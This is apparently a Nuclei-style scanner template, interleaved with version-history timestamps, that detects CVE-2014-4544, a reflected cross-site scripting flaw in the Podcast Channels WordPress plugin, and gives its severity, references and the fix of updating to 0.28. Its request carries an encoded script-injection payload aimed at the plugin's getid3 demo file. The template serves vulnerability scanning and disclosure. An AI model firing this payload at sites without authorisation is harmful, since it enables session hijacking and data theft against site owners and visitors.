2021-09-25 00:49:53 +00:00
id : CVE-2014-4544
info :
2022-09-09 17:34:37 +00:00
name : Podcast Channels < 0.28 - Cross-Site Scripting
2021-09-25 00:49:53 +00:00
author : daffainfo
severity : medium
2022-02-25 14:32:23 +00:00
description : The Podcast Channels WordPress plugin was affected by an unauthenticated reflected cross-site scripting security vulnerability.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 13:22:34 +00:00
remediation : |
Update to the latest version of the Podcast Channels plugin (0.28 or higher) to fix this vulnerability.
2021-09-25 00:49:53 +00:00
reference :
- https://wpscan.com/vulnerability/72a5a0e1-e720-45a9-b9d4-ee3144939abb
- https://nvd.nist.gov/vuln/detail/CVE-2014-4544
2022-05-17 09:18:12 +00:00
- http://codevigilant.com/disclosure/wp-plugin-podcast-channels-a3-cross-site-scripting-xss
2021-09-25 06:20:52 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-25 06:20:52 +00:00
cve-id : CVE-2014-4544
cwe-id : CWE-79
2023-04-12 10:55:48 +00:00
epss-score : 0.00118
2023-12-12 11:07:52 +00:00
epss-percentile : 0.45488
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:podcast_channels_project:podcast_channels:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : podcast_channels_project
product : podcast_channels
2023-09-06 13:22:34 +00:00
framework : wordpress
2023-12-05 09:50:33 +00:00
tags : wpscan,cve,cve2014,wordpress,wp-plugin,xss,unauth,podcast_channels_project
2021-09-25 00:49:53 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-09-25 00:49:53 +00:00
- method : GET
path :
2022-01-25 19:38:53 +00:00
- "{{BaseURL}}/wp-content/plugins/podcast-channels/getid3/demos/demo.write.php?Filename=Filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&"
2021-09-25 00:49:53 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-09-25 00:49:53 +00:00
words :
2021-09-25 05:49:46 +00:00
- "</script><script>alert(document.domain)</script>"
2021-09-25 00:49:53 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2023-12-29 09:30:44 +00:00
# digest: 490a004630440220078759a06ea361276eb0cfd93bdd686cc6a0d4efa87b282c90531a3f9ac199e402204e90184620d595a421ed934c84affd49e89d27945d56eeb33bdd981da2c147fc:922c64590222798bb761d5b6d8e72950